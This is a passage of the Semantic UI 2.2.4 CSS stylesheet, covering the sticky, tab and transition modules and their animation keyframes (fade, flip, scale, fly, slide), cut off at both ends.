  transform: translate3d(0, 0, 0);
}

.ui.visible.scale.down.sidebar ~ .pusher {
  -webkit-transform: scale(0.75);
  -ms-transform: scale(0.75);
  transform: scale(0.75);
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Sticky
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Sticky
*******************************/

.ui.sticky {
  position: static;
  -webkit-transition: none;
  transition: none;
  z-index: 800;
}

/*******************************
            States
*******************************/

/* Bound */

.ui.sticky.bound {
  position: absolute;
  left: auto;
  right: auto;
}

/* Fixed */

.ui.sticky.fixed {
  position: fixed;
  left: auto;
  right: auto;
}

/* Bound/Fixed Position */

.ui.sticky.bound.top,
.ui.sticky.fixed.top {
  top: 0px;
  bottom: auto;
}

.ui.sticky.bound.bottom,
.ui.sticky.fixed.bottom {
  top: auto;
  bottom: 0px;
}

/*******************************
            Types
*******************************/

.ui.native.sticky {
  position: -webkit-sticky;
  position: -moz-sticky;
  position: -ms-sticky;
  position: -o-sticky;
  position: sticky;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Tab
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
           UI Tabs
*******************************/

.ui.tab {
  display: none;
}

/*******************************
             States
*******************************/

/*--------------------
       Active
---------------------*/

.ui.tab.active,
.ui.tab.open {
  display: block;
}

/*--------------------
       Loading
---------------------*/

.ui.tab.loading {
  position: relative;
  overflow: hidden;
  display: block;
  min-height: 250px;
}

.ui.tab.loading * {
  position: relative !important;
  left: -10000px !important;
}

.ui.tab.loading:before,
.ui.tab.loading.segment:before {
  position: absolute;
  content: '';
  top: 100px;
  left: 50%;
  margin: -1.25em 0em 0em -1.25em;
  width: 2.5em;
  height: 2.5em;
  border-radius: 500rem;
  border: 0.2em solid rgba(0, 0, 0, 0.1);
}

.ui.tab.loading:after,
.ui.tab.loading.segment:after {
  position: absolute;
  content: '';
  top: 100px;
  left: 50%;
  margin: -1.25em 0em 0em -1.25em;
  width: 2.5em;
  height: 2.5em;
  -webkit-animation: button-spin 0.6s linear;
  animation: button-spin 0.6s linear;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  border-radius: 500rem;
  border-color: #767676 transparent transparent;
  border-style: solid;
  border-width: 0.2em;
  box-shadow: 0px 0px 0px 1px transparent;
}

/*******************************
         Tab Overrides
*******************************/

/*******************************
        User Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Transition
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
          Transitions
*******************************/

.transition {
  -webkit-animation-iteration-count: 1;
  animation-iteration-count: 1;
  -webkit-animation-duration: 300ms;
  animation-duration: 300ms;
  -webkit-animation-timing-function: ease;
  animation-timing-function: ease;
  -webkit-animation-fill-mode: both;
  animation-fill-mode: both;
}

/*******************************
            States
*******************************/

/* Animating */

.animating.transition {
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  visibility: visible !important;
}

/* Loading */

.loading.transition {
  position: absolute;
  top: -99999px;
  left: -99999px;
}

/* Hidden */

.hidden.transition {
  display: none;
  visibility: hidden;
}

/* Visible */

.visible.transition {
  display: block !important;
  visibility: visible !important;
  /*  backface-visibility: @backfaceVisibility;
  transform: @use3DAcceleration;*/
}

/* Disabled */

.disabled.transition {
  -webkit-animation-play-state: paused;
  animation-play-state: paused;
}

/*******************************
          Variations
*******************************/

.looping.transition {
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
}

/*******************************
          Transitions
*******************************/

/*
  Some transitions adapted from Animate CSS
  https://github.com/daneden/animate.css

  Additional transitions adapted from Glide
  by Nick Pettit - https://github.com/nickpettit/glide
*/

/*--------------
     Browse
---------------*/

.transition.browse {
  -webkit-animation-duration: 500ms;
  animation-duration: 500ms;
}

.transition.browse.in {
  -webkit-animation-name: browseIn;
  animation-name: browseIn;
}

.transition.browse.out,
.transition.browse.left.out {
  -webkit-animation-name: browseOutLeft;
  animation-name: browseOutLeft;
}

.transition.browse.right.out {
  -webkit-animation-name: browseOutRight;
  animation-name: browseOutRight;
}

/* In */

@-webkit-keyframes browseIn {
  0% {
    -webkit-transform: scale(0.8) translateZ(0px);
    transform: scale(0.8) translateZ(0px);
    z-index: -1;
  }

  10% {
    -webkit-transform: scale(0.8) translateZ(0px);
    transform: scale(0.8) translateZ(0px);
    z-index: -1;
    opacity: 0.7;
  }

  80% {
    -webkit-transform: scale(1.05) translateZ(0px);
    transform: scale(1.05) translateZ(0px);
    opacity: 1;
    z-index: 999;
  }

  100% {
    -webkit-transform: scale(1) translateZ(0px);
    transform: scale(1) translateZ(0px);
    z-index: 999;
  }
}

@keyframes browseIn {
  0% {
    -webkit-transform: scale(0.8) translateZ(0px);
    transform: scale(0.8) translateZ(0px);
    z-index: -1;
  }

  10% {
    -webkit-transform: scale(0.8) translateZ(0px);
    transform: scale(0.8) translateZ(0px);
    z-index: -1;
    opacity: 0.7;
  }

  80% {
    -webkit-transform: scale(1.05) translateZ(0px);
    transform: scale(1.05) translateZ(0px);
    opacity: 1;
    z-index: 999;
  }

  100% {
    -webkit-transform: scale(1) translateZ(0px);
    transform: scale(1) translateZ(0px);
    z-index: 999;
  }
}

/* Out */

@-webkit-keyframes browseOutLeft {
  0% {
    z-index: 999;
    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg);
    transform: translateX(0%) rotateY(0deg) rotateX(0deg);
  }

  50% {
    z-index: -1;
    -webkit-transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);
    transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);
  }

  80% {
    opacity: 1;
  }

  100% {
    z-index: -1;
    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);
    transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);
    opacity: 0;
  }
}

@keyframes browseOutLeft {
  0% {
    z-index: 999;
    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg);
    transform: translateX(0%) rotateY(0deg) rotateX(0deg);
  }

  50% {
    z-index: -1;
    -webkit-transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);
    transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);
  }

  80% {
    opacity: 1;
  }

  100% {
    z-index: -1;
    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);
    transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);
    opacity: 0;
  }
}

@-webkit-keyframes browseOutRight {
  0% {
    z-index: 999;
    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg);
    transform: translateX(0%) rotateY(0deg) rotateX(0deg);
  }

  50% {
    z-index: 1;
    -webkit-transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);
    transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);
  }

  80% {
    opacity: 1;
  }

  100% {
    z-index: 1;
    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);
    transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);
    opacity: 0;
  }
}

@keyframes browseOutRight {
  0% {
    z-index: 999;
    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg);
    transform: translateX(0%) rotateY(0deg) rotateX(0deg);
  }

  50% {
    z-index: 1;
    -webkit-transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);
    transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);
  }

  80% {
    opacity: 1;
  }

  100% {
    z-index: 1;
    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);
    transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);
    opacity: 0;
  }
}

/*--------------
     Drop
---------------*/

.drop.transition {
  -webkit-transform-origin: top center;
  -ms-transform-origin: top center;
  transform-origin: top center;
  -webkit-animation-duration: 400ms;
  animation-duration: 400ms;
  -webkit-animation-timing-function: cubic-bezier(0.34, 1.61, 0.7, 1);
  animation-timing-function: cubic-bezier(0.34, 1.61, 0.7, 1);
}

.drop.transition.in {
  -webkit-animation-name: dropIn;
  animation-name: dropIn;
}

.drop.transition.out {
  -webkit-animation-name: dropOut;
  animation-name: dropOut;
}

/* Drop */

@-webkit-keyframes dropIn {
  0% {
    opacity: 0;
    -webkit-transform: scale(0);
    transform: scale(0);
  }

  100% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

@keyframes dropIn {
  0% {
    opacity: 0;
    -webkit-transform: scale(0);
    transform: scale(0);
  }

  100% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

@-webkit-keyframes dropOut {
  0% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(0);
    transform: scale(0);
  }
}

@keyframes dropOut {
  0% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(0);
    transform: scale(0);
  }
}

/*--------------
      Fade
---------------*/

.transition.fade.in {
  -webkit-animation-name: fadeIn;
  animation-name: fadeIn;
}

.transition[class*="fade up"].in {
  -webkit-animation-name: fadeInUp;
  animation-name: fadeInUp;
}

.transition[class*="fade down"].in {
  -webkit-animation-name: fadeInDown;
  animation-name: fadeInDown;
}

.transition[class*="fade left"].in {
  -webkit-animation-name: fadeInLeft;
  animation-name: fadeInLeft;
}

.transition[class*="fade right"].in {
  -webkit-animation-name: fadeInRight;
  animation-name: fadeInRight;
}

.transition.fade.out {
  -webkit-animation-name: fadeOut;
  animation-name: fadeOut;
}

.transition[class*="fade up"].out {
  -webkit-animation-name: fadeOutUp;
  animation-name: fadeOutUp;
}

.transition[class*="fade down"].out {
  -webkit-animation-name: fadeOutDown;
  animation-name: fadeOutDown;
}

.transition[class*="fade left"].out {
  -webkit-animation-name: fadeOutLeft;
  animation-name: fadeOutLeft;
}

.transition[class*="fade right"].out {
  -webkit-animation-name: fadeOutRight;
  animation-name: fadeOutRight;
}

/* In */

@-webkit-keyframes fadeIn {
  0% {
    opacity: 0;
  }

  100% {
    opacity: 1;
  }
}

@keyframes fadeIn {
  0% {
    opacity: 0;
  }

  100% {
    opacity: 1;
  }
}

@-webkit-keyframes fadeInUp {
  0% {
    opacity: 0;
    -webkit-transform: translateY(10%);
    transform: translateY(10%);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0%);
    transform: translateY(0%);
  }
}

@keyframes fadeInUp {
  0% {
    opacity: 0;
    -webkit-transform: translateY(10%);
    transform: translateY(10%);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0%);
    transform: translateY(0%);
  }
}

@-webkit-keyframes fadeInDown {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-10%);
    transform: translateY(-10%);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0%);
    transform: translateY(0%);
  }
}

@keyframes fadeInDown {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-10%);
    transform: translateY(-10%);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0%);
    transform: translateY(0%);
  }
}

@-webkit-keyframes fadeInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translateX(10%);
    transform: translateX(10%);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }
}

@keyframes fadeInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translateX(10%);
    transform: translateX(10%);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }
}

@-webkit-keyframes fadeInRight {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-10%);
    transform: translateX(-10%);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }
}

@keyframes fadeInRight {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-10%);
    transform: translateX(-10%);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }
}

/* Out */

@-webkit-keyframes fadeOut {
  0% {
    opacity: 1;
  }

  100% {
    opacity: 0;
  }
}

@keyframes fadeOut {
  0% {
    opacity: 1;
  }

  100% {
    opacity: 0;
  }
}

@-webkit-keyframes fadeOutUp {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0%);
    transform: translateY(0%);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(5%);
    transform: translateY(5%);
  }
}

@keyframes fadeOutUp {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0%);
    transform: translateY(0%);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(5%);
    transform: translateY(5%);
  }
}

@-webkit-keyframes fadeOutDown {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0%);
    transform: translateY(0%);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-5%);
    transform: translateY(-5%);
  }
}

@keyframes fadeOutDown {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0%);
    transform: translateY(0%);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-5%);
    transform: translateY(-5%);
  }
}

@-webkit-keyframes fadeOutLeft {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(5%);
    transform: translateX(5%);
  }
}

@keyframes fadeOutLeft {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(5%);
    transform: translateX(5%);
  }
}

@-webkit-keyframes fadeOutRight {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-5%);
    transform: translateX(-5%);
  }
}

@keyframes fadeOutRight {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0%);
    transform: translateX(0%);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-5%);
    transform: translateX(-5%);
  }
}

/*--------------
     Flips
---------------*/

.flip.transition.in,
.flip.transition.out {
  -webkit-animation-duration: 600ms;
  animation-duration: 600ms;
}

.horizontal.flip.transition.in {
  -webkit-animation-name: horizontalFlipIn;
  animation-name: horizontalFlipIn;
}

.horizontal.flip.transition.out {
  -webkit-animation-name: horizontalFlipOut;
  animation-name: horizontalFlipOut;
}

.vertical.flip.transition.in {
  -webkit-animation-name: verticalFlipIn;
  animation-name: verticalFlipIn;
}

.vertical.flip.transition.out {
  -webkit-animation-name: verticalFlipOut;
  animation-name: verticalFlipOut;
}

/* In */

@-webkit-keyframes horizontalFlipIn {
  0% {
    -webkit-transform: perspective(2000px) rotateY(-90deg);
    transform: perspective(2000px) rotateY(-90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform: perspective(2000px) rotateY(0deg);
    transform: perspective(2000px) rotateY(0deg);
    opacity: 1;
  }
}

@keyframes horizontalFlipIn {
  0% {
    -webkit-transform: perspective(2000px) rotateY(-90deg);
    transform: perspective(2000px) rotateY(-90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform: perspective(2000px) rotateY(0deg);
    transform: perspective(2000px) rotateY(0deg);
    opacity: 1;
  }
}

@-webkit-keyframes verticalFlipIn {
  0% {
    -webkit-transform: perspective(2000px) rotateX(-90deg);
    transform: perspective(2000px) rotateX(-90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform: perspective(2000px) rotateX(0deg);
    transform: perspective(2000px) rotateX(0deg);
    opacity: 1;
  }
}

@keyframes verticalFlipIn {
  0% {
    -webkit-transform: perspective(2000px) rotateX(-90deg);
    transform: perspective(2000px) rotateX(-90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform: perspective(2000px) rotateX(0deg);
    transform: perspective(2000px) rotateX(0deg);
    opacity: 1;
  }
}

/* Out */

@-webkit-keyframes horizontalFlipOut {
  0% {
    -webkit-transform: perspective(2000px) rotateY(0deg);
    transform: perspective(2000px) rotateY(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(2000px) rotateY(90deg);
    transform: perspective(2000px) rotateY(90deg);
    opacity: 0;
  }
}

@keyframes horizontalFlipOut {
  0% {
    -webkit-transform: perspective(2000px) rotateY(0deg);
    transform: perspective(2000px) rotateY(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(2000px) rotateY(90deg);
    transform: perspective(2000px) rotateY(90deg);
    opacity: 0;
  }
}

@-webkit-keyframes verticalFlipOut {
  0% {
    -webkit-transform: perspective(2000px) rotateX(0deg);
    transform: perspective(2000px) rotateX(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(2000px) rotateX(-90deg);
    transform: perspective(2000px) rotateX(-90deg);
    opacity: 0;
  }
}

@keyframes verticalFlipOut {
  0% {
    -webkit-transform: perspective(2000px) rotateX(0deg);
    transform: perspective(2000px) rotateX(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(2000px) rotateX(-90deg);
    transform: perspective(2000px) rotateX(-90deg);
    opacity: 0;
  }
}

/*--------------
      Scale
---------------*/

.scale.transition.in {
  -webkit-animation-name: scaleIn;
  animation-name: scaleIn;
}

.scale.transition.out {
  -webkit-animation-name: scaleOut;
  animation-name: scaleOut;
}

@-webkit-keyframes scaleIn {
  0% {
    opacity: 0;
    -webkit-transform: scale(0.8);
    transform: scale(0.8);
  }

  100% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

@keyframes scaleIn {
  0% {
    opacity: 0;
    -webkit-transform: scale(0.8);
    transform: scale(0.8);
  }

  100% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

/* Out */

@-webkit-keyframes scaleOut {
  0% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(0.9);
    transform: scale(0.9);
  }
}

@keyframes scaleOut {
  0% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(0.9);
    transform: scale(0.9);
  }
}

/*--------------
      Fly
---------------*/

/* Inward */

.transition.fly {
  -webkit-animation-duration: 0.6s;
  animation-duration: 0.6s;
  -webkit-transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
}

.transition.fly.in {
  -webkit-animation-name: flyIn;
  animation-name: flyIn;
}

.transition[class*="fly up"].in {
  -webkit-animation-name: flyInUp;
  animation-name: flyInUp;
}

.transition[class*="fly down"].in {
  -webkit-animation-name: flyInDown;
  animation-name: flyInDown;
}

.transition[class*="fly left"].in {
  -webkit-animation-name: flyInLeft;
  animation-name: flyInLeft;
}

.transition[class*="fly right"].in {
  -webkit-animation-name: flyInRight;
  animation-name: flyInRight;
}

/* Outward */

.transition.fly.out {
  -webkit-animation-name: flyOut;
  animation-name: flyOut;
}

.transition[class*="fly up"].out {
  -webkit-animation-name: flyOutUp;
  animation-name: flyOutUp;
}

.transition[class*="fly down"].out {
  -webkit-animation-name: flyOutDown;
  animation-name: flyOutDown;
}

.transition[class*="fly left"].out {
  -webkit-animation-name: flyOutLeft;
  animation-name: flyOutLeft;
}

.transition[class*="fly right"].out {
  -webkit-animation-name: flyOutRight;
  animation-name: flyOutRight;
}

/* In */

@-webkit-keyframes flyIn {
  0% {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }

  20% {
    -webkit-transform: scale3d(1.1, 1.1, 1.1);
    transform: scale3d(1.1, 1.1, 1.1);
  }

  40% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9);
    transform: scale3d(0.9, 0.9, 0.9);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(1.03, 1.03, 1.03);
    transform: scale3d(1.03, 1.03, 1.03);
  }

  80% {
    -webkit-transform: scale3d(0.97, 0.97, 0.97);
    transform: scale3d(0.97, 0.97, 0.97);
  }

  100% {
    opacity: 1;
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

@keyframes flyIn {
  0% {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }

  20% {
    -webkit-transform: scale3d(1.1, 1.1, 1.1);
    transform: scale3d(1.1, 1.1, 1.1);
  }

  40% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9);
    transform: scale3d(0.9, 0.9, 0.9);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(1.03, 1.03, 1.03);
    transform: scale3d(1.03, 1.03, 1.03);
  }

  80% {
    -webkit-transform: scale3d(0.97, 0.97, 0.97);
    transform: scale3d(0.97, 0.97, 0.97);
  }

  100% {
    opacity: 1;
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

@-webkit-keyframes flyInUp {
  0% {
    opacity: 0;
    -webkit-transform: translate3d(0, 1500px, 0);
    transform: translate3d(0, 1500px, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }

  75% {
    -webkit-transform: translate3d(0, 10px, 0);
    transform: translate3d(0, 10px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, -5px, 0);
    transform: translate3d(0, -5px, 0);
  }

  100% {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes flyInUp {
  0% {
    opacity: 0;
    -webkit-transform: translate3d(0, 1500px, 0);
    transform: translate3d(0, 1500px, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }

  75% {
    -webkit-transform: translate3d(0, 10px, 0);
    transform: translate3d(0, 10px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, -5px, 0);
    transform: translate3d(0, -5px, 0);
  }

  100% {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@-webkit-keyframes flyInDown {
  0% {
    opacity: 0;
    -webkit-transform: translate3d(0, -1500px, 0);
    transform: translate3d(0, -1500px, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(0, 25px, 0);
    transform: translate3d(0, 25px, 0);
  }

  75% {
    -webkit-transform: translate3d(0, -10px, 0);
    transform: translate3d(0, -10px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, 5px, 0);
    transform: translate3d(0, 5px, 0);
  }

  100% {
    -webkit-transform: none;
    transform: none;
  }
}

@keyframes flyInDown {
  0% {
    opacity: 0;
    -webkit-transform: translate3d(0, -1500px, 0);
    transform: translate3d(0, -1500px, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(0, 25px, 0);
    transform: translate3d(0, 25px, 0);
  }

  75% {
    -webkit-transform: translate3d(0, -10px, 0);
    transform: translate3d(0, -10px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, 5px, 0);
    transform: translate3d(0, 5px, 0);
  }

  100% {
    -webkit-transform: none;
    transform: none;
  }
}

@-webkit-keyframes flyInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translate3d(1500px, 0, 0);
    transform: translate3d(1500px, 0, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(-25px, 0, 0);
    transform: translate3d(-25px, 0, 0);
  }

  75% {
    -webkit-transform: translate3d(10px, 0, 0);
    transform: translate3d(10px, 0, 0);
  }

  90% {
    -webkit-transform: translate3d(-5px, 0, 0);
    transform: translate3d(-5px, 0, 0);
  }

  100% {
    -webkit-transform: none;
    transform: none;
  }
}

@keyframes flyInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translate3d(1500px, 0, 0);
    transform: translate3d(1500px, 0, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(-25px, 0, 0);
    transform: translate3d(-25px, 0, 0);
  }

  75% {
    -webkit-transform: translate3d(10px, 0, 0);
    transform: translate3d(10px, 0, 0);
  }

  90% {
    -webkit-transform: translate3d(-5px, 0, 0);
    transform: translate3d(-5px, 0, 0);
  }

  100% {
    -webkit-transform: none;
    transform: none;
  }
}

@-webkit-keyframes flyInRight {
  0% {
    opacity: 0;
    -webkit-transform: translate3d(-1500px, 0, 0);
    transform: translate3d(-1500px, 0, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(25px, 0, 0);
    transform: translate3d(25px, 0, 0);
  }

  75% {
    -webkit-transform: translate3d(-10px, 0, 0);
    transform: translate3d(-10px, 0, 0);
  }

  90% {
    -webkit-transform: translate3d(5px, 0, 0);
    transform: translate3d(5px, 0, 0);
  }

  100% {
    -webkit-transform: none;
    transform: none;
  }
}

@keyframes flyInRight {
  0% {
    opacity: 0;
    -webkit-transform: translate3d(-1500px, 0, 0);
    transform: translate3d(-1500px, 0, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(25px, 0, 0);
    transform: translate3d(25px, 0, 0);
  }

  75% {
    -webkit-transform: translate3d(-10px, 0, 0);
    transform: translate3d(-10px, 0, 0);
  }

  90% {
    -webkit-transform: translate3d(5px, 0, 0);
    transform: translate3d(5px, 0, 0);
  }

  100% {
    -webkit-transform: none;
    transform: none;
  }
}

/* Out */

@-webkit-keyframes flyOut {
  20% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9);
    transform: scale3d(0.9, 0.9, 0.9);
  }

  50%, 55% {
    opacity: 1;
    -webkit-transform: scale3d(1.1, 1.1, 1.1);
    transform: scale3d(1.1, 1.1, 1.1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }
}

@keyframes flyOut {
  20% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9);
    transform: scale3d(0.9, 0.9, 0.9);
  }

  50%, 55% {
    opacity: 1;
    -webkit-transform: scale3d(1.1, 1.1, 1.1);
    transform: scale3d(1.1, 1.1, 1.1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }
}

@-webkit-keyframes flyOutUp {
  20% {
    -webkit-transform: translate3d(0, 10px, 0);
    transform: translate3d(0, 10px, 0);
  }

  40%, 45% {
    opacity: 1;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translate3d(0, 2000px, 0);
    transform: translate3d(0, 2000px, 0);
  }
}

@keyframes flyOutUp {
  20% {
    -webkit-transform: translate3d(0, 10px, 0);
    transform: translate3d(0, 10px, 0);
  }

  40%, 45% {
    opacity: 1;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translate3d(0, 2000px, 0);
    transform: translate3d(0, 2000px, 0);
  }
}

@-webkit-keyframes flyOutDown {
  20% {
    -webkit-transform: translate3d(0, -10px, 0);
    transform: translate3d(0, -10px, 0);
  }

  40%, 45% {
    opacity: 1;
    -webkit-transform: translate3d(0, 20px, 0);
    transform: translate3d(0, 20px, 0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translate3d(0, -2000px, 0);
    transform: translate3d(0, -2000px, 0);
  }
}

@keyframes flyOutDown {
  20% {
    -webkit-transform: translate3d(0, -10px, 0);
    transform: translate3d(0, -10px, 0);
  }

  40%, 45% {
    opacity: 1;
    -webkit-transform: translate3d(0, 20px, 0);
    transform: translate3d(0, 20px, 0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translate3d(0, -2000px, 0);
    transform: translate3d(0, -2000px, 0);
  }
}

@-webkit-keyframes flyOutRight {
  20% {
    opacity: 1;
    -webkit-transform: translate3d(20px, 0, 0);
    transform: translate3d(20px, 0, 0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translate3d(-2000px, 0, 0);
    transform: translate3d(-2000px, 0, 0);
  }
}

@keyframes flyOutRight {
  20% {
    opacity: 1;
    -webkit-transform: translate3d(20px, 0, 0);
    transform: translate3d(20px, 0, 0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translate3d(-2000px, 0, 0);
    transform: translate3d(-2000px, 0, 0);
  }
}

@-webkit-keyframes flyOutLeft {
  20% {
    opacity: 1;
    -webkit-transform: translate3d(-20px, 0, 0);
    transform: translate3d(-20px, 0, 0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translate3d(2000px, 0, 0);
    transform: translate3d(2000px, 0, 0);
  }
}

@keyframes flyOutLeft {
  20% {
    opacity: 1;
    -webkit-transform: translate3d(-20px, 0, 0);
    transform: translate3d(-20px, 0, 0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translate3d(2000px, 0, 0);
    transform: translate3d(2000px, 0, 0);
  }
}

/*--------------
     Slide
---------------*/

.transition.slide.in,
.transition[class*="slide down"].in {
  -webkit-animation-name: slideInY;
  animation-name: slideInY;
  -webkit-transform-origin: top center;
  -ms-transform-origin: top center;
  transform-origin: top center;
}

.transition[class*="slide up"].in {
  -webkit-animation-name: slideInY;
  animation-name: slideInY;
  -webkit-transform-origin: bottom center;
  -ms-transform-origin: bottom center;
  transform-origin: bottom center;
}

.transition[class*="slide left"].in {
  -webkit-animation-name: slideInX;
  animation-name: slideInX;
